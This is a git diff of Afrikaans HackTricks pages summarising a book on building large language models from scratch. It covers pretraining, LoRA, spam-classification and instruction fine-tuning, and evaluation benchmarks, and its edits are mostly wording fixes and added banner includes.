> Dan sal **slegs daardie woorde** van die vokabulaire oorweeg word volgens hul relatiewe waarskynlikhede.
|
||||
>
|
||||
@ -599,7 +601,7 @@ return idx
|
||||
> _Let daarop dat hierdie verbetering nie in die vorige kode ingesluit is nie._
|
||||
|
||||
> [!TIP]
|
||||
> 'n Ander manier om die gegenereerde teks te verbeter, is deur **Beam search** te gebruik in plaas van die greedy search wat in hierdie voorbeeld gebruik is.\
|
||||
> 'n Ander manier om die gegenereerde teks te verbeter, is deur **Beam search** te gebruik in plaas van die greedy search wat in hierdie voorbeeld gebruik word.\
|
||||
> Anders as greedy search, wat die mees waarskynlike volgende woord by elke stap kies en 'n enkele reeks bou, **hou beam search die top 𝑘 k hoogste-telling gedeeltelike reekse** (genoem "beams") by elke stap dop. Deur verskeie moontlikhede gelyktydig te verken, balanseer dit doeltreffendheid en kwaliteit, wat die kanse verhoog om 'n **beter algehele** reeks te vind wat dalk deur die greedy benadering gemis kan word weens vroeë, suboptimale keuses.
|
||||
>
|
||||
> _Let daarop dat hierdie verbetering nie in die vorige kode ingesluit is nie._
|
||||
@ -651,9 +653,9 @@ Van hier af, let op hoe dit gedefinieer is dat 90% van die teks vir opleiding ge
|
||||
Let daarop dat 'n deel van die datastel soms ook vir 'n toetsstel gelaat word om die prestasie van die model beter te evalueer.
|
||||
|
||||
Albei data laders gebruik dieselfde batchgrootte, maksimum lengte en stapgrootte en aantal werkers (0 in hierdie geval).\
|
||||
Die hoofverskille is die data wat deur elkeen gebruik word, en die validators laat nie die laaste val nie en skud die data nie omdat dit nie vir validasiedoeleindes nodig is nie.
|
||||
Die hoofverskille is die data wat deur elkeen gebruik word, en die validators laat nie die laaste val nie en skud ook nie die data nie, aangesien dit nie vir validasiedoeleindes nodig is nie.
|
||||
|
||||
Ook die feit dat **stapgrootte so groot soos die kontekslengte is**, beteken dat daar geen oorvleueling tussen kontekste wat gebruik word om die data op te lei sal wees nie (vermin die oorpassing maar ook die opleidingsdatastel).
|
||||
Ook die feit dat **stapgrootte so groot soos die kontekslengte is**, beteken dat daar geen oorvleueling tussen kontekste wat gebruik word om die data op te lei sal wees nie (vermin oorpassing maar ook die opleidingsdatastel).
|
||||
|
||||
Boonop, let daarop dat die batchgrootte in hierdie geval 2 is om die data in 2 batches te verdeel, die hoofdoel hiervan is om parallelle verwerking toe te laat en die verbruik per batch te verminder.
|
||||
```python
|
||||
@ -721,7 +723,7 @@ print("All tokens:", train_tokens + val_tokens)
|
||||
```
|
||||
### Kies toestel vir opleiding & vooraf berekeninge
|
||||
|
||||
Die volgende kode kies net die toestel om te gebruik en bereken 'n opleidingsverlies en 'n valideringsverlies (sonder om enigiets nog op te lei) as 'n beginpunt.
|
||||
Die volgende kode kies net die toestel om te gebruik en bereken 'n opleidingsverlies en 'n validasieverlies (sonder om enigiets nog op te lei) as 'n beginpunt.
|
||||
```python
|
||||
# Indicate the device to use
|
||||
|
||||
@ -758,13 +760,14 @@ Dan is die groot funksie `train_model_simple` die een wat eintlik die model ople
|
||||
- Die validator laaier
|
||||
- Die **optimizer** wat tydens opleiding gebruik moet word: Dit is die funksie wat die gradiënte sal gebruik en die parameters sal opdateer om die verlies te verminder. In hierdie geval, soos jy sal sien, word `AdamW` gebruik, maar daar is baie meer.
|
||||
- `optimizer.zero_grad()` word aangeroep om die gradiënte op elke ronde te reset om te voorkom dat hulle ophoop.
|
||||
- Die **`lr`** parameter is die **leer tempo** wat die **grootte van die stappe** bepaal wat tydens die optimaliseringsproses geneem word wanneer die model se parameters opdateer word. 'n **Kleinere** leer tempo beteken die optimizer **maak kleiner opdaterings** aan die gewigte, wat kan lei tot meer **presiese** konvergensie maar kan **opleiding vertraag**. 'n **Groter** leer tempo kan opleiding versnel maar **risiko's om oor te skiet** van die minimum van die verliesfunksie (**oor die punt spring** waar die verliesfunksie geminimaliseer word).
|
||||
- **Gewig Aftakking** wysig die **Verlies Berekening** stap deur 'n ekstra term by te voeg wat groot gewigte straf. Dit moedig die optimizer aan om oplossings met kleiner gewigte te vind, wat 'n balans skep tussen die data goed aan te pas en die model eenvoudig te hou om oorpassing in masjienleer modelle te voorkom deur die model te ontmoedig om te veel belang aan enige enkele kenmerk toe te ken.
|
||||
- Tradisionele optimizers soos SGD met L2 regulering koppel gewig aftakking met die gradiënt van die verliesfunksie. egter, **AdamW** (n variant van Adam optimizer) ontkoppel gewig aftakking van die gradiënt opdatering, wat lei tot meer effektiewe regulering.
|
||||
- Die **`lr`** parameter is die **leer tempo** wat die **grootte van die stappe** bepaal wat tydens die optimaliseringsproses geneem word wanneer die model se parameters opdateer word. 'n **Kleinere** leer tempo beteken die optimizer **maak kleiner opdaterings** aan die gewigte, wat kan lei tot meer **presiese** konvergensie maar kan **opleiding vertraag**. 'n **Groter** leer tempo kan opleiding versnel maar **risiko's om oor te skiet** van die minimum van die verliesfunksie (**spring oor** die punt waar die verliesfunksie geminimaliseer word).
|
||||
- **Gewig Afsak** wysig die **Verlies Berekening** stap deur 'n ekstra term by te voeg wat groot gewigte straf. Dit moedig die optimizer aan om oplossings met kleiner gewigte te vind, wat 'n balans skep tussen die data goed aan te pas en die model eenvoudig te hou om oorpassing in masjienleer modelle te voorkom deur die model te ontmoedig om te veel belang aan enige enkele kenmerk toe te ken.
|
||||
- Tradisionele optimizers soos SGD met L2 regulering koppel gewig afsak met die gradiënt van die verliesfunksie. egter, **AdamW** (n variant van Adam optimizer) ontkoppel gewig afsak van die gradiënt opdatering, wat lei tot meer effektiewe regulering.
|
||||
- Die toestel om vir opleiding te gebruik
|
||||
- Die aantal epoches: Aantal kere om oor die opleidingsdata te gaan
|
||||
- Die evaluering frekwensie: Die frekwensie om `evaluate_model` aan te roep
|
||||
- Die evaluering iterasie: Die aantal bondels om te gebruik wanneer die huidige toestand van die model geëvalueer word wanneer `generate_and_print_sample` aangeroep word
|
||||
- Die begin konteks: Wat die begin sin is om te gebruik wanneer `generate_and_print_sample` aangeroep word
|
||||
- Die tokenizer
|
||||
```python
|
||||
# Functions to train the data
|
||||
@ -933,8 +936,11 @@ model.eval() # Put in eval mode
|
||||
Daar is 2 vinnige skripte om die GPT2 gewigte plaaslik te laai. Vir albei kan jy die repository [https://github.com/rasbt/LLMs-from-scratch](https://github.com/rasbt/LLMs-from-scratch) plaaslik kloon, dan:
|
||||
|
||||
- Die skrip [https://github.com/rasbt/LLMs-from-scratch/blob/main/ch05/01_main-chapter-code/gpt_generate.py](https://github.com/rasbt/LLMs-from-scratch/blob/main/ch05/01_main-chapter-code/gpt_generate.py) sal al die gewigte aflaai en die formate van OpenAI na die formate wat deur ons LLM verwag word, transformeer. Die skrip is ook voorberei met die nodige konfigurasie en met die prompt: "Elke poging beweeg jou"
|
||||
- Die skrip [https://github.com/rasbt/LLMs-from-scratch/blob/main/ch05/02_alternative_weight_loading/weight-loading-hf-transformers.ipynb](https://github.com/rasbt/LLMs-from-scratch/blob/main/ch05/02_alternative_weight_loading/weight-loading-hf-transformers.ipynb) laat jou toe om enige van die GPT2 gewigte plaaslik te laai (verander net die `CHOOSE_MODEL` var) en teks te voorspel vanaf sommige prompts.
|
||||
- Die skrip [https://github.com/rasbt/LLMs-from-scratch/blob/main/ch05/02_alternative_weight_loading/weight-loading-hf-transformers.ipynb](https://github.com/rasbt/LLMs-from-scratch/blob/main/ch05/02_alternative_weight_loading/weight-loading-hf-transformers.ipynb) laat jou toe om enige van die GPT2 gewigte plaaslik te laai (verander net die `CHOOSE_MODEL` var) en teks te voorspel vanaf 'n paar prompts.
|
||||
|
||||
## Verwysings
|
||||
|
||||
- [https://www.manning.com/books/build-a-large-language-model-from-scratch](https://www.manning.com/books/build-a-large-language-model-from-scratch)
|
||||
|
||||
|
||||
{{#include /banners/hacktricks-training.md}}
|
||||
|
@ -1,5 +1,7 @@
|
||||
# 7.0. LoRA Verbeterings in fyn-afstemming
|
||||
|
||||
{{#include /banners/hacktricks-training.md}}
|
||||
|
||||
## LoRA Verbeterings
|
||||
|
||||
> [!TIP]
|
||||
@ -7,7 +9,7 @@
|
||||
|
||||
LoRA maak dit moontlik om **groot modelle** doeltreffend fyn af te stem deur slegs 'n **klein deel** van die model te verander. Dit verminder die aantal parameters wat jy moet oplei, wat **geheue** en **berekeningshulpbronne** bespaar. Dit is omdat:
|
||||
|
||||
1. **Verminder die Aantal Opleibare Parameters**: In plaas daarvan om die hele gewigmatriks in die model op te dateer, **verdeel** LoRA die gewigmatriks in twee kleiner matrikse (genoem **A** en **B**). Dit maak opleiding **vinniger** en vereis **minder geheue** omdat minder parameters opdateer moet word.
|
||||
1. **Verminder die Aantal Opleibare Parameters**: In plaas daarvan om die hele gewigmatriks in die model op te dateer, **verdeel** LoRA die gewigmatriks in twee kleiner matrikse (genoem **A** en **B**). Dit maak opleiding **vinniger** en vereis **minder geheue** omdat minder parameters opgedateer moet word.
|
||||
|
||||
1. Dit is omdat dit in plaas daarvan om die volledige gewigopdatering van 'n laag (matriks) te bereken, dit benader na 'n produk van 2 kleiner matrikse wat die opdatering verminder om te bereken:\
|
||||
|
||||
@ -15,9 +17,9 @@ LoRA maak dit moontlik om **groot modelle** doeltreffend fyn af te stem deur sle
|
||||
|
||||
2. **Hou Oorspronklike Model Gewigte Onveranderd**: LoRA laat jou toe om die oorspronklike model gewigte dieselfde te hou, en slegs die **nuwe klein matrikse** (A en B) op te dateer. Dit is nuttig omdat dit beteken dat die oorspronklike kennis van die model bewaar word, en jy net wat nodig is, aanpas.
|
||||
3. **Doeltreffende Taakspesifieke Fyn-afstemming**: Wanneer jy die model wil aanpas vir 'n **nuwe taak**, kan jy net die **klein LoRA matrikse** (A en B) oplei terwyl jy die res van die model soos dit is, laat. Dit is **baie doeltreffender** as om die hele model weer op te lei.
|
||||
4. **Bergingseffektiwiteit**: Na fyn-afstemming, in plaas daarvan om 'n **hele nuwe model** vir elke taak te stoor, hoef jy slegs die **LoRA matrikse** te stoor, wat baie klein is in vergelyking met die hele model. Dit maak dit makliker om die model aan te pas vir baie take sonder om te veel berging te gebruik.
|
||||
4. **Bergingseffektiwiteit**: Na fyn-afstemming, in plaas daarvan om 'n **heel nuwe model** vir elke taak te stoor, hoef jy slegs die **LoRA matrikse** te stoor, wat baie klein is in vergelyking met die hele model. Dit maak dit makliker om die model aan te pas vir baie take sonder om te veel berging te gebruik.
|
||||
|
||||
Om LoraLayers in plaas van Linear eenhede tydens 'n fyn-afstemming te implementeer, word hierdie kode hier voorgestel [https://github.com/rasbt/LLMs-from-scratch/blob/main/appendix-E/01_main-chapter-code/appendix-E.ipynb](https://github.com/rasbt/LLMs-from-scratch/blob/main/appendix-E/01_main-chapter-code/appendix-E.ipynb):
|
||||
Om LoraLayers in plaas van Linear te implementeer tydens 'n fyn-afstemming, word hierdie kode hier voorgestel [https://github.com/rasbt/LLMs-from-scratch/blob/main/appendix-E/01_main-chapter-code/appendix-E.ipynb](https://github.com/rasbt/LLMs-from-scratch/blob/main/appendix-E/01_main-chapter-code/appendix-E.ipynb):
|
||||
```python
|
||||
import math
|
||||
|
||||
@ -59,3 +61,5 @@ replace_linear_with_lora(module, rank, alpha)
|
||||
## Verwysings
|
||||
|
||||
- [https://www.manning.com/books/build-a-large-language-model-from-scratch](https://www.manning.com/books/build-a-large-language-model-from-scratch)
|
||||
|
||||
{{#include /banners/hacktricks-training.md}}
|
||||
|
@ -1,5 +1,7 @@
|
||||
# 7.1. Fyn-afstemming vir Kategorisering
|
||||
|
||||
{{#include /banners/hacktricks-training.md}}
|
||||
|
||||
## Wat is
|
||||
|
||||
Fyn-afstemming is die proses om 'n **vooraf-geleerde model** te neem wat **algemene taalpatrone** uit groot hoeveelhede data geleer het en dit **aan te pas** om 'n **spesifieke taak** uit te voer of om domein-spesifieke taal te verstaan. Dit word bereik deur die opleiding van die model voort te sit op 'n kleiner, taak-spesifieke dataset, wat dit toelaat om sy parameters aan te pas om beter by die nuanses van die nuwe data te pas terwyl dit die breë kennis wat dit reeds verwerf het, benut. Fyn-afstemming stel die model in staat om meer akkurate en relevante resultate in gespesialiseerde toepassings te lewer sonder die behoefte om 'n nuwe model van nuuts af op te lei.
|
||||
@ -14,7 +16,7 @@ Fyn-afstemming is die proses om 'n **vooraf-geleerde model** te neem wat **algem
|
||||
|
||||
### Dataset grootte
|
||||
|
||||
Natuurlik, om 'n model fyn-af te stem, het jy 'n paar gestruktureerde data nodig om jou LLM te spesialiseer. In die voorbeeld wat voorgestel word in [https://github.com/rasbt/LLMs-from-scratch/blob/main/ch06/01_main-chapter-code/ch06.ipynb](https://github.com/rasbt/LLMs-from-scratch/blob/main/ch06/01_main-chapter-code/ch06.ipynb), word GPT2 fyn-afgestem om te detecteer of 'n e-pos spam is of nie met die data van [https://archive.ics.uci.edu/static/public/228/sms+spam+collection.zip](https://archive.ics.uci.edu/static/public/228/sms+spam+collection.zip)_._
|
||||
Natuurlik, om 'n model fyn-af te stem, benodig jy 'n paar gestruktureerde data om jou LLM te spesialiseer. In die voorbeeld wat voorgestel word in [https://github.com/rasbt/LLMs-from-scratch/blob/main/ch06/01_main-chapter-code/ch06.ipynb](https://github.com/rasbt/LLMs-from-scratch/blob/main/ch06/01_main-chapter-code/ch06.ipynb), word GPT2 fyn-afgestem om te detecteer of 'n e-pos spam is of nie met die data van [https://archive.ics.uci.edu/static/public/228/sms+spam+collection.zip](https://archive.ics.uci.edu/static/public/228/sms+spam+collection.zip)_._
|
||||
|
||||
Hierdie dataset bevat baie meer voorbeelde van "nie spam" as van "spam", daarom stel die boek voor om **slegs soveel voorbeelde van "nie spam" as van "spam" te gebruik** (daarom, om al die ekstra voorbeelde uit die opleidingsdata te verwyder). In hierdie geval was dit 747 voorbeelde van elkeen.
|
||||
|
||||
@ -28,13 +30,13 @@ Toe, **70%** van die dataset word gebruik vir **opleiding**, **10%** vir **valid
|
||||
|
||||
Aangesien die opleidingsvoorbeeld inskrywings (e-pos teks in hierdie geval) van dieselfde lengte verwag, is daar besluit om elke inskrywing so groot te maak soos die grootste een deur die id's van `<|endoftext|>` as opvulling by te voeg.
|
||||
|
||||
### Stel die model in
|
||||
### Begin die model
|
||||
|
||||
Gebruik die oopbron vooraf-geleerde gewigte om die model in te stel vir opleiding. Ons het dit al voorheen gedoen en volg die instruksies van [https://github.com/rasbt/LLMs-from-scratch/blob/main/ch06/01_main-chapter-code/ch06.ipynb](https://github.com/rasbt/LLMs-from-scratch/blob/main/ch06/01_main-chapter-code/ch06.ipynb) kan jy dit maklik doen.
|
||||
Gebruik die oopbron vooraf-geleerde gewigte om die model te begin oplei. Ons het dit al voorheen gedoen en volg die instruksies van [https://github.com/rasbt/LLMs-from-scratch/blob/main/ch06/01_main-chapter-code/ch06.ipynb](https://github.com/rasbt/LLMs-from-scratch/blob/main/ch06/01_main-chapter-code/ch06.ipynb) kan jy dit maklik doen.
|
||||
|
||||
## Kategorisering kop
|
||||
|
||||
In hierdie spesifieke voorbeeld (voorspel of 'n teks spam is of nie), is ons nie geïnteresseerd om fyn-af te stem volgens die volledige woordeskat van GPT2 nie, maar ons wil net hê die nuwe model moet sê of die e-pos spam is (1) of nie (0). Daarom gaan ons die **laaste laag wat** die waarskynlikhede per token van die woordeskat gee, aanpas na een wat slegs die waarskynlikhede van spam of nie spam gee (soos 'n woordeskat van 2 woorde).
|
||||
In hierdie spesifieke voorbeeld (voorspel of 'n teks spam is of nie), is ons nie geïnteresseerd in fyn-afstemming volgens die volledige woordeskat van GPT2 nie, maar ons wil net hê die nuwe model moet sê of die e-pos spam is (1) of nie (0). Daarom gaan ons die **laaste laag wat** die waarskynlikhede per token van die woordeskat gee, aanpas vir een wat slegs die waarskynlikhede van spam of nie spam gee (soos 'n woordeskat van 2 woorde).
|
||||
```python
|
||||
# This code modified the final layer with a Linear one with 2 outs
|
||||
num_classes = 2
|
||||
@ -47,7 +49,7 @@ out_features=num_classes
|
||||
```
|
||||
## Parameters om te stel
|
||||
|
||||
Om vinnig te fynstel is dit makliker om nie al die parameters te fynstel nie, maar slegs 'n paar finale. Dit is omdat dit bekend is dat die laer lae oor die algemeen basiese taalstrukture en toepaslike semantiek vasvang. So, net **fynstel van die laaste lae is gewoonlik genoeg en vinniger**.
|
||||
Om vinnig te fynstel is dit makliker om nie al die parameters te fynstel nie, maar slegs 'n paar finale. Dit is omdat dit bekend is dat die laer lae oor die algemeen basiese taalstrukture en toepaslike semantiek vasvang. So, net **die laaste lae fynstel is gewoonlik genoeg en vinniger**.
|
||||
```python
|
||||
# This code makes all the parameters of the model unrtainable
|
||||
for param in model.parameters():
|
||||
@ -103,8 +105,10 @@ Let op hoe ons vir elke bondel slegs belangstel in die **logits van die laaste t
|
||||
|
||||
## Volledige GPT2 fyn-afstemming klassifikasie kode
|
||||
|
||||
Jy kan al die kode vind om GPT2 te fyn-af te stem as 'n spam klassifiseerder in [https://github.com/rasbt/LLMs-from-scratch/blob/main/ch06/01_main-chapter-code/load-finetuned-model.ipynb](https://github.com/rasbt/LLMs-from-scratch/blob/main/ch06/01_main-chapter-code/load-finetuned-model.ipynb)
|
||||
Jy kan al die kode vind om GPT2 te fyn-afstem om 'n spam klassifiseerder te wees in [https://github.com/rasbt/LLMs-from-scratch/blob/main/ch06/01_main-chapter-code/load-finetuned-model.ipynb](https://github.com/rasbt/LLMs-from-scratch/blob/main/ch06/01_main-chapter-code/load-finetuned-model.ipynb)
|
||||
|
||||
## Verwysings
|
||||
|
||||
- [https://www.manning.com/books/build-a-large-language-model-from-scratch](https://www.manning.com/books/build-a-large-language-model-from-scratch)
|
||||
|
||||
{{#include /banners/hacktricks-training.md}}
|
||||
|
@ -1,11 +1,13 @@
|
||||
# 7.2. Fyn-afstemming om instruksies te volg
|
||||
# 7.2. Fyn-afstelling om instruksies te volg
|
||||
|
||||
{{#include /banners/hacktricks-training.md}}
|
||||
|
||||
> [!TIP]
|
||||
> Die doel van hierdie afdeling is om te wys hoe om 'n **reeds vooropgeleide model fyn af te stem om instruksies te volg** eerder as net teks te genereer, byvoorbeeld, om op take te reageer as 'n kletsbot.
|
||||
> Die doel van hierdie afdeling is om te wys hoe om 'n **reeds vooropgestelde model fyn af te stel om instruksies te volg** eerder as net teks te genereer, byvoorbeeld, om op take as 'n chat bot te reageer.
|
||||
|
||||
## Dataset
|
||||
|
||||
Om 'n LLM fyn af te stem om instruksies te volg, is dit nodig om 'n dataset met instruksies en antwoorde te hê om die LLM fyn af te stem. Daar is verskillende formate om 'n LLM op te lei om instruksies te volg, byvoorbeeld:
|
||||
Om 'n LLM fyn af te stel om instruksies te volg, is dit nodig om 'n dataset met instruksies en antwoorde te hê om die LLM fyn af te stel. Daar is verskillende formate om 'n LLM op te lei om instruksies te volg, byvoorbeeld:
|
||||
|
||||
- Die Apply Alpaca prompt styl voorbeeld:
|
||||
```csharp
|
||||
@ -27,9 +29,9 @@ Can you explain what gravity is in simple terms?
|
||||
<|Assistant|>
|
||||
Absolutely! Gravity is a force that pulls objects toward each other.
|
||||
```
|
||||
Training a LLM met hierdie tipe datastelle in plaas van net rou teks help die LLM om te verstaan dat hy spesifieke antwoorde op die vrae wat hy ontvang, moet gee.
|
||||
Training a LLM met hierdie soort datastelle in plaas van net rou teks help die LLM om te verstaan dat hy spesifieke antwoorde op die vrae wat hy ontvang, moet gee.
|
||||
|
||||
Daarom is een van die eerste dinge om te doen met 'n datastel wat versoeke en antwoorde bevat, om daardie data in die gewenste promptformaat te modelleer, soos:
|
||||
Daarom is een van die eerste dinge om te doen met 'n dataset wat versoeke en antwoorde bevat, om daardie data in die gewenste promptformaat te modelleer, soos:
|
||||
```python
|
||||
# Code from https://github.com/rasbt/LLMs-from-scratch/blob/main/ch07/01_main-chapter-code/ch07.ipynb
|
||||
def format_input(entry):
|
||||
@ -53,48 +55,50 @@ Then, soos altyd, is dit nodig om die dataset in stelle vir opleiding, validasie
|
||||
|
||||
## Batching & Data Loaders
|
||||
|
||||
Dan is dit nodig om al die insette en verwagte uitsette vir die opleiding in batches te plaas. Hiervoor is dit nodig om te:
|
||||
Dan is dit nodig om al die insette en verwagte uitsette vir die opleiding in batches te plaas. Hiervoor is dit nodig om:
|
||||
|
||||
- Tokenize die teks
|
||||
- Pad al die monsters na dieselfde lengte (gewoonlik sal die lengte so groot wees soos die kontekslengte wat gebruik is om die LLM voor te leer)
|
||||
- Vul al die monsters tot dieselfde lengte (gewoonlik sal die lengte so groot wees soos die kontekslengte wat gebruik is om die LLM voor te leer)
|
||||
- Skep die verwagte tokens deur die inset met 1 in 'n pasgemaakte collate-funksie te skuif
|
||||
- Vervang sommige padding tokens met -100 om hulle van die opleidingsverlies uit te sluit: Na die eerste `endoftext` token, vervang al die ander `endoftext` tokens met -100 (want die gebruik van `cross_entropy(...,ignore_index=-100)` beteken dat dit teikens met -100 sal ignoreer)
|
||||
- \[Opsioneel\] Masker met -100 ook al die tokens wat aan die vraag behoort sodat die LLM net leer hoe om die antwoord te genereer. In die Apply Alpaca styl sal dit beteken om alles te masker tot `### Response:`
|
||||
|
||||
Met dit geskep, is dit tyd om die data loaders vir elke dataset (opleiding, validasie en toets) te skep.
|
||||
|
||||
## Laai voor-geleerde LLM & Fyn afstem & Verlies Kontrole
|
||||
## Laai vooropgeleide LLM & Fyn afstem & Verlieskontrole
|
||||
|
||||
Dit is nodig om 'n voor-geleerde LLM te laai om dit fyn af te stem. Dit is reeds op ander bladsye bespreek. Dan is dit moontlik om die voorheen gebruikte opleidingsfunksie te gebruik om die LLM fyn af te stem.
|
||||
Dit is nodig om 'n vooropgeleide LLM te laai om dit fyn af te stem. Dit is reeds op ander bladsye bespreek. Dan is dit moontlik om die voorheen gebruikte opleidingsfunksie te gebruik om die LLM fyn af te stem.
|
||||
|
||||
Tydens die opleiding is dit ook moontlik om te sien hoe die opleidingsverlies en validasieverlies gedurende die epoches varieer om te sien of die verlies verminder en of oorpassing plaasvind.\
|
||||
Onthou dat oorpassing plaasvind wanneer die opleidingsverlies verminder, maar die validasieverlies nie verminder of selfs toeneem nie. Om dit te vermy, is die eenvoudigste ding om die opleiding te stop by die epoch waar hierdie gedrag begin.
|
||||
|
||||
## Antwoord Kwaliteit
|
||||
## Antwoordkwaliteit
|
||||
|
||||
Aangesien dit nie 'n klassifikasie fyn-afstemming is waar dit moontlik is om meer op die verlies variasies te vertrou nie, is dit ook belangrik om die kwaliteit van die antwoorde in die toetsstel te kontroleer. Daarom word dit aanbeveel om die gegenereerde antwoorde van al die toetsstelle te versamel en **hulle kwaliteit handmatig te kontroleer** om te sien of daar verkeerde antwoorde is (let daarop dat dit moontlik is vir die LLM om die formaat en sintaksis van die antwoordsin korrek te genereer, maar 'n heeltemal verkeerde antwoord te gee. Die verlies variasie sal hierdie gedrag nie weerspieël nie).\
|
||||
Aangesien dit nie 'n klassifikasie fyn afstemming is waar dit moontlik is om meer op die verliesvariaties te vertrou nie, is dit ook belangrik om die kwaliteit van die antwoorde in die toetsstel te kontroleer. Daarom word dit aanbeveel om die gegenereerde antwoorde van al die toetsstelle te versamel en **hulle kwaliteit handmatig te kontroleer** om te sien of daar verkeerde antwoorde is (let daarop dat dit moontlik is vir die LLM om die formaat en sintaksis van die antwoordsin te korrek te genereer, maar 'n heeltemal verkeerde antwoord te gee. Die verliesvariasie sal hierdie gedrag nie weerspieël nie).\
|
||||
Let daarop dat dit ook moontlik is om hierdie hersiening uit te voer deur die gegenereerde antwoorde en die verwagte antwoorde aan **ander LLMs te gee en hulle te vra om die antwoorde te evalueer**.
|
||||
|
||||
Ander toetse om te loop om die kwaliteit van die antwoorde te verifieer:
|
||||
|
||||
1. **Meet Massiewe Multitask Taalbegrip (**[**MMLU**](https://arxiv.org/abs/2009.03300)**):** MMLU evalueer 'n model se kennis en probleemoplossingsvermoëns oor 57 vakke, insluitend menslike wetenskappe, wetenskappe, en meer. Dit gebruik meerkeuse vrae om begrip op verskillende moeilikheidsvlakke te assesseer, van elementêr tot gevorderd professioneel.
|
||||
1. **Meet Massiewe Multitask Taalbegrip (**[**MMLU**](https://arxiv.org/abs/2009.03300)**):** MMLU evalueer 'n model se kennis en probleemoplossingsvermoëns oor 57 vakke, insluitend menswetenskappe, wetenskappe, en meer. Dit gebruik meerkeuse vrae om begrip op verskillende moeilikheidsvlakke te assesseer, van elementêr tot gevorderd professioneel.
|
||||
2. [**LMSYS Chatbot Arena**](https://arena.lmsys.org): Hierdie platform laat gebruikers toe om antwoorde van verskillende chatbots langs mekaar te vergelyk. Gebruikers voer 'n prompt in, en verskeie chatbots genereer antwoorde wat direk vergelyk kan word.
|
||||
3. [**AlpacaEval**](https://github.com/tatsu-lab/alpaca_eval)**:** AlpacaEval is 'n geoutomatiseerde evaluasieraamwerk waar 'n gevorderde LLM soos GPT-4 die antwoorde van ander modelle op verskeie prompts evalueer.
|
||||
4. **Algemene Taalbegrip Evaluasie (**[**GLUE**](https://gluebenchmark.com/)**):** GLUE is 'n versameling van nege natuurlike taalbegrip take, insluitend sentimentanalise, teksimplikasie, en vraagbeantwoording.
|
||||
3. [**AlpacaEval**](https://github.com/tatsu-lab/alpaca_eval)**:** AlpacaEval is 'n geoutomatiseerde evalueringsraamwerk waar 'n gevorderde LLM soos GPT-4 die antwoorde van ander modelle op verskillende prompts evalueer.
|
||||
4. **Algemene Taalbegrip Evaluasie (**[**GLUE**](https://gluebenchmark.com/)**):** GLUE is 'n versameling van nege natuurlike taalbegrip take, insluitend sentimentanalise, teksafleiding, en vraagbeantwoording.
|
||||
5. [**SuperGLUE**](https://super.gluebenchmark.com/)**:** Gebaseer op GLUE, sluit SuperGLUE meer uitdagende take in wat ontwerp is om moeilik te wees vir huidige modelle.
|
||||
6. **Buiten die Imitasie Speletjie Benchmark (**[**BIG-bench**](https://github.com/google/BIG-bench)**):** BIG-bench is 'n grootmaat benchmark met meer as 200 take wat 'n model se vermoëns in areas soos redeneer, vertaling, en vraagbeantwoording toets.
|
||||
6. **Buiten die Imitasie Speletjie Benchmark (**[**BIG-bench**](https://github.com/google/BIG-bench)**):** BIG-bench is 'n groot skaal benchmark met meer as 200 take wat 'n model se vermoëns in areas soos redeneer, vertaling, en vraagbeantwoording toets.
|
||||
7. **Holistiese Evaluasie van Taalmodelle (**[**HELM**](https://crfm.stanford.edu/helm/lite/latest/)**):** HELM bied 'n omvattende evaluasie oor verskeie metrieks soos akkuraatheid, robuustheid, en billikheid.
|
||||
8. [**OpenAI Evals**](https://github.com/openai/evals)**:** 'n Oopbron evaluasieraamwerk deur OpenAI wat toelaat vir die toetsing van KI-modelle op pasgemaakte en gestandaardiseerde take.
|
||||
8. [**OpenAI Evals**](https://github.com/openai/evals)**:** 'n oopbron evalueringsraamwerk deur OpenAI wat toelaat vir die toetsing van KI-modelle op pasgemaakte en gestandaardiseerde take.
|
||||
9. [**HumanEval**](https://github.com/openai/human-eval)**:** 'n Versameling programmeringsprobleme wat gebruik word om die kodegenereringsvermoëns van taalmodelle te evalueer.
|
||||
10. **Stanford Vraag Beantwoording Dataset (**[**SQuAD**](https://rajpurkar.github.io/SQuAD-explorer/)**):** SQuAD bestaan uit vrae oor Wikipedia-artikels, waar modelle die teks moet verstaan om akkuraat te antwoord.
|
||||
11. [**TriviaQA**](https://nlp.cs.washington.edu/triviaqa/)**:** 'n Grootmaat dataset van trivia vrae en antwoorde, saam met bewysdokumente.
|
||||
10. **Stanford Vraagbeantwoording Dataset (**[**SQuAD**](https://rajpurkar.github.io/SQuAD-explorer/)**):** SQuAD bestaan uit vrae oor Wikipedia-artikels, waar modelle die teks moet verstaan om akkuraat te antwoord.
|
||||
11. [**TriviaQA**](https://nlp.cs.washington.edu/triviaqa/)**:** 'n Groot skaal dataset van trivia vrae en antwoorde, saam met bewysdokumente.
|
||||
|
||||
en baie baie meer
|
||||
|
||||
## Volg instruksies fyn-afstemming kode
|
||||
## Volg instruksies fyn afstem kode
|
||||
|
||||
Jy kan 'n voorbeeld van die kode om hierdie fyn-afstemming uit te voer vind in [https://github.com/rasbt/LLMs-from-scratch/blob/main/ch07/01_main-chapter-code/gpt_instruction_finetuning.py](https://github.com/rasbt/LLMs-from-scratch/blob/main/ch07/01_main-chapter-code/gpt_instruction_finetuning.py)
|
||||
Jy kan 'n voorbeeld van die kode om hierdie fyn afstemming uit te voer vind in [https://github.com/rasbt/LLMs-from-scratch/blob/main/ch07/01_main-chapter-code/gpt_instruction_finetuning.py](https://github.com/rasbt/LLMs-from-scratch/blob/main/ch07/01_main-chapter-code/gpt_instruction_finetuning.py)
|
||||
|
||||
## Verwysings
|
||||
|
||||
- [https://www.manning.com/books/build-a-large-language-model-from-scratch](https://www.manning.com/books/build-a-large-language-model-from-scratch)
|
||||
|
||||
{{#include /banners/hacktricks-training.md}}
|
||||
|
@ -1,5 +1,7 @@
|
||||
# LLM Opleiding - Data Voorbereiding
|
||||
|
||||
{{#include /banners/hacktricks-training.md}}
|
||||
|
||||
**Dit is my aantekeninge uit die baie aanbevole boek** [**https://www.manning.com/books/build-a-large-language-model-from-scratch**](https://www.manning.com/books/build-a-large-language-model-from-scratch) **met 'n paar ekstra inligting.**
|
||||
|
||||
## Basiese Inligting
|
||||
@ -31,10 +33,10 @@ Jy moet begin deur hierdie pos te lees vir 'n paar basiese konsepte wat jy moet
|
||||
## 3. Token Inbedings
|
||||
|
||||
> [!TIP]
|
||||
> Die doel van hierdie derde fase is baie eenvoudig: **Ken elkeen van die vorige tokens in die woordeskat 'n vektor van die verlangde dimensies toe om die model te oefen.** Elke woord in die woordeskat sal 'n punt in 'n ruimte van X dimensies wees.\
|
||||
